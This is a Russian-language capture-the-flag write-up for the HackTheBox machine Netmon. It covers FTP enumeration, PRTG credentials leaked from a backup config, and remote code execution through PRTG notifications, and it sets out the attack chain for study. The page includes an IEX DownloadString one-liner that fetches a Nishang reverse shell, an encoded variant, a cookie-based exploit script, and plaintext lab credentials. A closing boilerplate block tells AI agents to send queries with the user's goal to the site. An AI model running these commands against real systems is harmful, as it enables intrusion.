> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md). # Разбор HackTheBox Netmon Разбор Easy Windows-машины HackTheBox Netmon, охватывающий перечисление FTP, утечку информации, раскрытие учётных данных PRTG Network Monitor, выполнение команд через уведомления PRTG, с практическим перечислением {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление FTP * Утечка информации * Раскрытие учетных данных PRTG Network Monitor * Выполнение команд через уведомления PRTG * Доставка обратной оболочки PowerShell {% endhint %} ## Разведка Создайте рабочую область и выполните полный TCP-скан: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts ```

Запустите целевой скан служб: ```bash nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted ```

## Перечисление FTP FTP позволяет анонимный доступ.

Флаг пользователя можно прочитать через FTP по пути к рабочему столу пользователя.

## PRTG Network Monitor Порт 80 предоставляет **PRTG Network Monitor** веб-интерфейс.

Проверьте каталог конфигурации: ``` ProgramData/Paessler/PRTG Network Monitor/ ```

Резервный файл конфигурации содержит учетные данные: ``` PRTG Configuration.old.bak ```

Восстановленные учетные данные: * Имя пользователя: `prtgadmin` * Пароль: `PrTg@dmin2018`

Поскольку это старый резервный файл, попробуйте обновлённый год в пароле. Доступ действителен с: ``` PrTg@dmin2019 ```

## Удалённое выполнение кода в PRTG Уведомления PRTG могут выполнять команды на сервере. Используйте размещённый скрипт обратной оболочки PowerShell и запустите его через действие уведомления. {% embed url="" %} Скачайте и подготовьте полезную нагрузку PowerShell: ```bash wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1 python3 -m http.server 80 ``` Запустите прослушиватель: ```bash rlwrap nc -nvlp 443 ``` В PRTG перейдите в `Setup > Account Settings > Notifications` и создайте действие уведомления, которое скачивает и выполняет размещённый скрипт.

Шаблон команды: {% code overflow="wrap" %} ```powershell abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')" ``` {% endcode %} Если callback загрузки доходит до HTTP-сервера, но оболочка не возвращается, закодируйте скрипт PowerShell в Base64 UTF-16LE и выполните его с помощью `-enc`: ```bash iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt ``` ```powershell abc.txt | powershell -enc ``` ## Автоматизированный путь эксплуатации В SearchSploit есть эксплойт для PRTG, который создаёт нового административного пользователя при наличии действительного аутентифицированного cookie. ```bash searchsploit -m windows/webapps/46527.sh ``` Запустите эксплойт с целевым URL и cookie сеанса: {% code overflow="wrap" %} ```bash ./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D" ``` {% endcode %} Эксплойт создаёт: * Имя пользователя: `pentest` * Пароль: `P3nT3st!`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.